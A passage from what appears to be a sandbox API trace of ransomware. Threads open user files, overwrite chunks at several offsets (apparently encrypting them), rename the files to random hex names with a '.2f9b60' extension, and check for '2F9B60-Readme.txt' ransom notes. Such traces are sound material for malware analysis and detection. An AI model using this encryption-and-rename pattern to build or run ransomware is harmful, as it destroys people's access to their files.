returned 0x41c178d0 [0114.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9160 [0114.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260260 [0114.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260260) returned 1 [0114.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.015] WriteFile (in: hFile=0x14ec, lpBuffer=0x41c178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3792f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41c178d0*, lpNumberOfBytesWritten=0x3792f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0114.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c178d0) returned 1 [0114.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c13cc0) returned 1 [0114.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260260 [0114.025] SetFilePointerEx (in: hFile=0x14ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.025] WriteFile (in: hFile=0x14ec, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3792f870, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3792f870*=0x106, lpOverlapped=0x0) returned 1 [0114.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607d0 [0114.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607d0) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0114.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607d0 [0114.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0114.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0114.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0170 [0114.043] sprintf (in: _Dest=0x1cda0170, _Format="%c%c" | out: _Dest="a2") returned 2 [0114.043] sprintf (in: _Dest=0x1cda0172, _Format="%c%c" | out: _Dest="93") returned 2 [0114.043] sprintf (in: _Dest=0x1cda0174, _Format="%c%c" | out: _Dest="1f") returned 2 [0114.043] sprintf (in: _Dest=0x1cda0176, _Format="%c%c" | out: _Dest="9c") returned 2 [0114.043] sprintf (in: _Dest=0x1cda0178, _Format="%c%c" | out: _Dest="c2") returned 2 [0114.043] sprintf (in: _Dest=0x1cda017a, _Format="%c%c" | out: _Dest="89") returned 2 [0114.043] sprintf (in: _Dest=0x1cda017c, _Format="%c%c" | out: _Dest="80") returned 2 [0114.043] sprintf (in: _Dest=0x1cda017e, _Format="%c%c" | out: _Dest="b8") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0180, _Format="%c%c" | out: _Dest="12") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0182, _Format="%c%c" | out: _Dest="6e") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0184, _Format="%c%c" | out: _Dest="69") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0186, _Format="%c%c" | out: _Dest="38") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0188, _Format="%c%c" | out: _Dest="c4") returned 2 [0114.044] sprintf (in: _Dest=0x1cda018a, _Format="%c%c" | out: _Dest="11") returned 2 [0114.044] sprintf (in: _Dest=0x1cda018c, _Format="%c%c" | out: _Dest="44") returned 2 [0114.044] sprintf (in: _Dest=0x1cda018e, _Format="%c%c" | out: _Dest="8f") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0190, _Format="%c%c" | out: _Dest="3c") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0192, _Format="%c%c" | out: _Dest="07") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0194, _Format="%c%c" | out: _Dest="58") returned 2 [0114.044] sprintf (in: _Dest=0x1cda0196, _Format="%c%c" | out: _Dest="0d") returned 2 [0114.044] RtlInitAnsiString (in: DestinationString=0x3792f8e8, SourceString="a2931f9cc28980b8126e6938c411448f3c07580d" | out: DestinationString="a2931f9cc28980b8126e6938c411448f3c07580d") [0114.044] RtlAnsiStringToUnicodeString (in: DestinationString=0x3792f8b8, SourceString="a2931f9cc28980b8126e6938c411448f3c07580d", AllocateDestinationString=1 | out: DestinationString="a2931f9cc28980b8126e6938c411448f3c07580d") returned 0x0 [0114.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9dfd0 [0114.045] wcscat (in: _Dest=0x20279970, _Source="a2931f9cc2" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\a2931f9cc2") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\a2931f9cc2" [0114.045] wcscat (in: _Dest=0x20279970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\a2931f9cc2.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\a2931f9cc2.2f9b60" [0114.045] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\a2931f9cc2.2f9b60", NtPathName=0x3792f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\a2931f9cc2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0114.045] NtSetInformationFile (FileHandle=0x14ec, IoStatusBlock=0x3792f930, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0114.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0114.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.048] NtQueryInformationFile (in: FileHandle=0x14ec, IoStatusBlock=0x3792f8f8, FileInformation=0x3792f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3792f8f8, FileInformation=0x3792f908) returned 0x0 [0114.048] NtSetInformationFile (FileHandle=0x14ec, IoStatusBlock=0x3792f8f8, FileInformation=0x3792f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dfd0) returned 1 [0114.050] FlushFileBuffers (hFile=0x14ec) returned 1 [0114.055] CloseHandle (hObject=0x14ec) returned 1 [0114.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279970 [0114.058] wcscpy (in: _Dest=0x20279970, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0114.058] wcscat (in: _Dest=0x20279970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" [0114.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\2f9b60-readme.txt")) returned 0x20 [0114.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 Thread: id = 1192 os_tid = 0xcf4 [0114.011] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3")) returned 0x20 [0114.019] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3", dwFileAttributes=0x20) returned 1 [0114.021] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14e4 [0114.022] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x3783f840 | out: lpFileSize=0x3783f840*=8414449) returned 1 [0114.022] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x8064ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.022] ReadFile (in: hFile=0x14e4, lpBuffer=0x3783f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3783f808, lpOverlapped=0x0 | out: lpBuffer=0x3783f7c0*, lpNumberOfBytesRead=0x3783f808*=0x4, lpOverlapped=0x0) returned 1 [0114.026] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607d0 [0114.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606e0 [0114.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0114.026] NtQuerySystemTime (in: CurrentTime=0x3783f700 | out: CurrentTime=0x3783f700*=132462177194878000) returned 0x0 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x2af1df85 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0xa4bc25 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x3cc38bd7 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x5df3f91c [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x3155dcb9 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x51cd7c26 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x67c02a87 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x6c8ee3ec [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x42399f [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x4ca682d1 [0114.026] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0xbaaf7da [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x2c482ecb [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1e8a2eb4 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x4eab811f [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x49f6bfd4 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x22b1d362 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x2e32f518 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1dbe92df [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x6cb4b3d5 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x6f696180 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1c5ad609 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x5acecf49 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0xb5ed84b [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1098c4a2 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x29f033ae [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x278832ca [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1af27f4e [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x13e4153e [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x5c60834f [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1c4acd07 [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x59a854ee [0114.027] RtlRandomEx (in: Seed=0x3783f6f0 | out: Seed=0x3783f6f0) returned 0x1c83e132 [0114.039] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.039] ReadFile (in: hFile=0x14e4, lpBuffer=0x41c13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3783f760, lpOverlapped=0x0 | out: lpBuffer=0x41c13cc0*, lpNumberOfBytesRead=0x3783f760*=0x3c00, lpOverlapped=0x0) returned 1 [0114.053] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262210 [0114.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262210) returned 1 [0114.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c178d0 [0114.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262210 [0114.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260200 [0114.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260200) returned 1 [0114.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.054] WriteFile (in: hFile=0x14e4, lpBuffer=0x41c178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3783f760, lpOverlapped=0x0 | out: lpBuffer=0x41c178d0*, lpNumberOfBytesWritten=0x3783f760*=0x3c00, lpOverlapped=0x0) returned 1 [0130.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c178d0) returned 1 [0130.110] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x403800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.110] ReadFile (in: hFile=0x14e4, lpBuffer=0x41c13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3783f760, lpOverlapped=0x0 | out: lpBuffer=0x41c13cc0*, lpNumberOfBytesRead=0x3783f760*=0x3c00, lpOverlapped=0x0) returned 1 [0130.114] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x403800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0130.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b70) returned 1 [0130.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c178d0 [0130.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0130.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0130.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261010) returned 1 [0130.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.116] WriteFile (hFile=0x14e4, lpBuffer=0x41c178d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3783f760, lpOverlapped=0x0) [0170.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c178d0) returned 1 [0170.980] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x8028f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.980] ReadFile (in: hFile=0x14e4, lpBuffer=0x41c13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3783f760, lpOverlapped=0x0 | out: lpBuffer=0x41c13cc0*, lpNumberOfBytesRead=0x3783f760*=0x3c00, lpOverlapped=0x0) returned 1 [0171.149] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x8028f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cef0 [0171.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cef0) returned 1 [0171.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d5d50 [0171.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cef0 [0171.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cf20 [0171.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cf20) returned 1 [0171.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.151] WriteFile (in: hFile=0x14e4, lpBuffer=0x420d5d50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3783f760, lpOverlapped=0x0 | out: lpBuffer=0x420d5d50*, lpNumberOfBytesWritten=0x3783f760*=0x3c00, lpOverlapped=0x0) returned 1 [0194.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d5d50) returned 1 [0194.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf2f0 [0194.619] SetFilePointerEx (in: hFile=0x14e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.619] WriteFile (in: hFile=0x14e4, lpBuffer=0x1cebd3f0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x3783f810, lpOverlapped=0x0 | out: lpBuffer=0x1cebd3f0*, lpNumberOfBytesWritten=0x3783f810*=0x148, lpOverlapped=0x0) returned 1 [0201.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0201.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c70 [0201.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261c70) returned 1 [0201.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f8740 [0201.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261c70 [0201.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b60 [0201.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b60) returned 1 [0201.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0201.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5dd70 [0201.991] sprintf (in: _Dest=0x1ce5dd70, _Format="%c%c" | out: _Dest="dc") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd72, _Format="%c%c" | out: _Dest="40") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd74, _Format="%c%c" | out: _Dest="4e") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd76, _Format="%c%c" | out: _Dest="28") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd78, _Format="%c%c" | out: _Dest="b0") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd7a, _Format="%c%c" | out: _Dest="49") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd7c, _Format="%c%c" | out: _Dest="7b") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd7e, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd80, _Format="%c%c" | out: _Dest="10") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd82, _Format="%c%c" | out: _Dest="91") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd84, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.991] sprintf (in: _Dest=0x1ce5dd86, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd88, _Format="%c%c" | out: _Dest="d2") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd8a, _Format="%c%c" | out: _Dest="2e") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd8c, _Format="%c%c" | out: _Dest="42") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd8e, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd90, _Format="%c%c" | out: _Dest="c9") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd92, _Format="%c%c" | out: _Dest="76") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd94, _Format="%c%c" | out: _Dest="88") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd96, _Format="%c%c" | out: _Dest="17") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd98, _Format="%c%c" | out: _Dest="ae") returned 2 [0201.992] sprintf (in: _Dest=0x1ce5dd9a, _Format="%c%c" | out: _Dest="d7") returned 2 [0201.992] RtlInitAnsiString (in: DestinationString=0x3783f888, SourceString="dc404e28b0497be61091e1bcd22e42bdc9768817aed7" | out: DestinationString="dc404e28b0497be61091e1bcd22e42bdc9768817aed7") [0201.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x3783f858, SourceString="dc404e28b0497be61091e1bcd22e42bdc9768817aed7", AllocateDestinationString=1 | out: DestinationString="dc404e28b0497be61091e1bcd22e42bdc9768817aed7") returned 0x0 [0201.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddf670 [0201.993] wcscat (in: _Dest=0x42061cb0, _Source="dc404e28b04" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\dc404e28b04") returned="C:\\Users\\Public\\Music\\Sample Music\\dc404e28b04" [0201.993] wcscat (in: _Dest=0x42061cb0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\dc404e28b04.2f9b60") returned="C:\\Users\\Public\\Music\\Sample Music\\dc404e28b04.2f9b60" [0201.993] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Music\\Sample Music\\dc404e28b04.2f9b60", NtPathName=0x3783f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Music\\Sample Music\\dc404e28b04.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43197b20 [0222.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43197b20) returned 1 [0222.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320f5e0) returned 1 [0222.295] NtQueryInformationFile (in: FileHandle=0x14e4, IoStatusBlock=0x3783f898, FileInformation=0x3783f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3783f898, FileInformation=0x3783f8a8) returned 0x0 [0222.295] NtSetInformationFile (FileHandle=0x14e4, IoStatusBlock=0x3783f898, FileInformation=0x3783f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0225.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf670) returned 1 [0225.077] FlushFileBuffers (hFile=0x14e4) returned 1 [0225.082] CloseHandle (hObject=0x14e4) returned 1 [0225.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85f310 [0225.497] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\Public\\Music\\Sample Music\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0225.497] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" [0225.497] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\music\\sample music\\2f9b60-readme.txt")) returned 0x20 [0225.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0225.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c22f0) returned 1 Thread: id = 1193 os_tid = 0xcf8 [0114.062] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3")) returned 0x20 [0114.062] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3", dwFileAttributes=0x20) returned 1 [0114.063] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ec [0114.063] GetFileSizeEx (in: hFile=0x14ec, 